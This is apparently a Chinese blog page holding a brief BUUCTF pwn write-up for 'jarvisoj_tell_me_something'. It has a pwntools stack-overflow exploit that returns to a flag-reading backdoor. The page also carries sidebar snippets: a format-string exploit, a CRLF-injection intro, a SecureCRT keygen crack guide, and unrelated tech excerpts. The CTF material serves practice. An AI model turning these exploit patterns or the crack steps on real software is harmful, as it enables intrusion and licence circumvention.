墨衍会员
·
AI 创作全网分发
墨衍智能分发
本文由作者通过墨衍一键同步至各平台
1分发平台
200+累计阅读
245平均单平台
已同步平台
优快云
微信公众号
微博
知乎
掘金
百家号
博客园
抖音
小红书
你的文章也可以这样分发
墨衍会员 ¥399起/年，写一次发全网
我也要
read有栈溢出
flag.txt
进行栈溢出将返回地址覆盖为fopen函数地址
from pwn import *
r=remote("node4.buuoj.cn",25237)
flag_addr=0x400620
payload='a'*(0x88)+p64(flag_addr)
r.sendline(payload)
r.interactive()
题目很简单,分析也不难
就是需要注意一点,偏移不需要加上rbp的8个字节
没有push rbp的操作,所以不用加8字节,需要注意这一点
java写的网络围棋程序 .rar
java写的网络围棋程序,使用java 的网络编程的一个系统
jarvisoj_tell_me_something【BUUCTF】
那就很简单了，溢出指向漏洞函数即可，但此题有个小坑，其实最开始学pwn时会通过gdb查找溢出大小，但后面懒了就直接通过IDA查看，但IDA并不一定准确，并且题目本身也会有坑，比如该题。但本题，main函数没有push ebp的操作，所有溢出时不需要多加8字节ebp位置。
Web渗透（一）CRLF注入简介
CRLF注入简介1、基础知识2、原理分析3、漏洞挖掘4、防御手段5、CRLF Payload: 1、基础知识 HTTP报文结构 从上图可以看到：HTTP报文由三部分组成：状态行、首部、主体。 可以看到状态行和首部中的每行都是以回车符（\r，%0d，CR）和换行符（\n，%0a，LF）结束。 十六进制编码分别为0x0d和0x0a，URL编码为%0D和%0A 这是因为HTTP规范中行应该使用CRLF结束。另外，首部和主体由两个CRLF分隔。 2、原理分析 CRLF是 “ 回车+换行 ”（\r\n）的简称。
BUUCTF jarvisoj_tell_me_something
pwn新手小白，写完题后整理的一点点思路，有借鉴其他wp，有任何问题各位师傅可以提出，接收批评指正
Windows沙盒神器Sandboxie Plus保姆级教程：从安装到实战测试可疑软件
本文详细介绍了Windows沙盒神器Sandboxie Plus的安装、配置与实战应用，帮助用户安全测试可疑软件。从系统要求、安装步骤到核心功能如多沙盒管理、文件共享和快照恢复，全面解析了这款轻量级沙盒工具的优势与使用技巧，特别适合需要隔离运行未知程序的用户。
secureCRT 破解方法
3、输入注册信息打开keygen.exe,点击path，选择SecureCRT的安装目录（例如D:\VanDykeSoftware\Clients）的securecrt.exe打开，继续下一步打开LicenseHelper.exe,如下。1、注册SecureCRT9.1打开keygen.exe,出现以下问题（没有关掉安全防护，一双击打开，Windows会自动识别keygen.exe为bingdu并删除）打开桌面SecureCRT，此界面不输入内容，直接点击下一步。2、存储配置文件夹（可以默认安装）
BUUCTF pwn——jarvisoj_tell_me_something
BUUCTF 做题练习
HQChart实战教程64-自定义分时图标题栏
分时图标题栏显示的是当前十字光标所在位置的分钟信息，显示在分时图窗口顶部。一般会显示品种的名称，日期，时间，价格，均价 涨幅，成交量，金额等等，hqchart内置会显示这些信息。如果要额外显示其他的字段，就需要通过替换格式化标题输出函数来是现实。我们在hqchart实例创建完成以后,通过OnCreatedCallback回调函数替换自己的格式化输出函数。返回 { AryText:[ { Text:文字, Color:颜色}，…入参 data={ Data: 当前十字光标所在位置的分钟线 }
【BUUCTF】jarvisoj_fm，jarvisoj_tell_me_something
【BUUCTF】jarvisoj_fm 格式化字符串 exp： from pwn import* r=remote('node3.buuoj.cn',27988) x=0x0804A02C offest=11 payload=p32(x)+'%11$n' payload=payload.ljust(0x50,'p') r.send(payload) r.interactive() 【BUUCTF】jarvisoj_tell_me_something 栈溢出 exp： from pwn import* r=
端侧 AI 落地避坑指南（中）：为什么 QAT 救不了精度？——对齐“融合后算子“的硬件物理约束
在上一篇文章中，我们深入探讨了量化的本质，并得出结论：QAT（量化感知训练）是保持精度的关键。明明做了 QAT，精度还是崩塌了！让我们看一个真实的案例：✅ 使用了✅ 配置了量化✅ 训练了 50 个 epoch，学习率降为原来的 1/10✅ 冻结了 BN 统计量FP32 模型：mAP = 0.85QAT 后 FP32：mAP = 0.84（正常）工具量化后：mAP = 0.68（崩塌！问题出在哪里？层融合（Layer Fusion）机制。
成对使用离轴抛物面反射镜的设计
成对使用离轴抛物面反射镜的设计
[BUUCTF-pwn]——jarvisoj_tell_me_something
[BUUCTF-pwn]——jarvisoj_tell_me_something 题目地址： https://buuoj.cn/challenges#jarvisoj_fm 点击一下writeup 在这里 以前写过所以偷懒一下， 嘿嘿嘿！！！ 各位师傅不要见怪呀 ????
如何在飞腾平台上安装Ubuntu操作系统
注意： 若主板上配置的是NVME硬盘，在进行内核配置时，需要将内核的NEME驱动勾选上，否则移植内核时，无法找到文件系统，进不去操作系统。可以通过rufus软件将镜像做到U盘中，本次使用版本为Rufus 3.9.124 ，其他版本也可以。不要下载live版本的，没有准备网络环境，是一个头疼的事情，笔者暂时没有实现网络安装。将U盘接到主板usb口上，接上串口，显示器，，必需串口有打印才可以安装。可以通过dd命令，将iso安装到U盘。安装的是最小系统，缺少很多命令，需要联网更新，或则更换飞腾专用内核。
[BUUCTF]PWN——jarvisoj_tell_me_something
jarvisoj_tell_me_something 附件 步骤： 例行检查，64位程序，开启了NX保护 运行一下程序，看看程序的大概流程 64位ida载入，shift+f12检索程序里的字符串 看到了flag.txt关键子，双击跟进，找到了程序里的后门，flag_addr=0x400620 从main函数开始看程序 输入点的v4明显的溢出漏洞，利用它覆盖返回地址为flag_addr的地址读出flag 这边有一个注意点 看汇编发现这个程序的结尾处跟平常函数的结尾不一样没有leave 这道题
第一部分：VTK基础入门（第1章：VTK简介与概述）
VTK简介与核心特性概述 VTK（Visualization Toolkit）是一个开源的跨平台C++类库，专用于3D计算机图形学、图像处理和科学可视化。由Kitware公司开发，VTK自1993年起源以来，经历了开源化、成熟化和现代化多个发展阶段，现已成为科学可视化的核心工具之一。 VTK的核心特性包括： 管道架构：模块化设计实现数据流管理 丰富的数据支持：处理多边形数据、图像数据等 强大的渲染能力：集成OpenGL，支持多种渲染技术 最新版本VTK 9.4.2增强了现代C++支持，优化了内存管理，并提升
老版QQ原生表情gif动态
这是老版的QQ表情，不过全是动态的的，Windows照片查看器是不会动的，可以右击用浏览器打开查看，再说一遍是老版的，只是分享给宁愿用老版也要动态的人。
buuctf jarvisoj_tell_me_something
水题，栈溢出返回到good_game就行了，要注意这题没有bp from pwn import * from LibcSearcher import * local_file = './guestbook' local_libc = '/lib/x86_64-linux-gnu/libc-2.23.so' remote_libc = './libc-2.23.so' select ...
STM32F407中文手册
STM32f407中文手册 本参考手册面向应用开发人员，提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列，各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性，请参见数据手册。有关 ARM Cortex™-M4F 内核的信息，请参见《Cortex™-M4F 技术参考手册》。
buuctf中的jarvisoj_tell_me_something（栈溢出）
这是main函数的汇编代码，从这里我们并没有发现pop rbp这条指令，也就是说偏移量不需要加上rbp的宽度，所以总偏移为0x88。v4到栈底的距离为0x88，但是read确读取了0x100个字节的数据，存在明显的栈溢出漏洞。发现是从flag.txt中逐字读取字符并打印到屏幕上，相当与后门函数。-开启了栈不可执行保护。
C# WinForm 基于DirectShow.dll编写的程序，可边预览边保存视频，音频和图片
基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择（默认选中第一个）2.可录制wmv和avi两种格式的视频并且都带有音频，avi可以录制的分辨率和帧数进行选择，wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照，也可边录制视频边拍照4.添加了视频和音频的压缩功能（酌情使用）这次二次开发发现C#对DirectShow的相关信息太少，这次做完也不敢藏私共享出来，还望大家指正
深度学习工具包 DeepLearningToolbox
深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[](https://bitdeli.com/free "Bitdeli Badge")
Buuctf(pwn) jarvisoj_tell_me_something 栈溢出
64位程序，开启了NX保护 400620 from pwn import * r=remote('node4.buuoj.cn',29273) flag_addr=0x400620 payload='a'*(0x88)+p64(flag_addr) r.sendline(payload) r.interactive() 这道题需要注意的一点是没有返回 这是其栈结构 所以这道题直接溢出0x88即可 ...
BUUCTF wp
开启了canary绕过，有printf格式化字符串漏洞，当x=4时执行system。原本这样就可以直接写exp了，但是这道题有个特殊的点就是没有返回地址。进入ida中shift+f12发现有flag.txt。checksec ida查看后发现之打开了NX保护。读取并打印出flag，所以我们只需要泄露栈溢出。向printf输入一串%p得到偏移量。思路就是给x赋值为4。然后我们可以确定偏移。
buuctf ---- getshell集合（未完）
buuctf ----- jarvisoj_tell_me_something 运行程序得 使用64IDA查看程序 可以看到存在溢出漏洞 查看字符串，发现flag.txt 存在后门函数，该函数的含义是输出flag 思路：改变ret addr 为good_game函数的地址。 编写exp from pwn import* io = remote("node4.buuoj.cn",29817) bin_addr = 0x400620 payload = 'a'*0x8c+p64(bin_addr)
jarvisoj——Tell Me Something
本来想做其他的平台，但是搜了一下还是这个平台比较适合入门。 题目 Wp 这里首先下载，然后ida打开，看到main函数 main函数说的实际上就是有一个保存的栈大小为136，但是确允许输入256栈大小的内容，这里存在栈溢出的问题。 然后这里可以看到有一个good_gaem 可以看到是读取了一个flag.txt的文件。 那么需要做的就是先覆盖，这里我自己感觉的是，覆盖先将自身拉满，然后加返回地址直接覆盖就行。 最后就是先覆盖136的自身，然后加上good_game的地址即可。 pwntools fro
(Jarvis Oj)(Pwn) Tell Me Something
(Jarvis Oj)(Pwn) Tell Me Something 首先查看程序开的保护。基本什么都没有。 丢到ida中，主函数。 然后发现了good_game函数。 这个函数的用途就显而易见了，输出目录下的”flag.txt”文件。于是利用read函数导致的栈溢出，将返回地址覆盖为good_game函数的地址。通过ida或者cyclic工具可以获得需要的填充的长度。写得脚本...
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
334
扫一扫
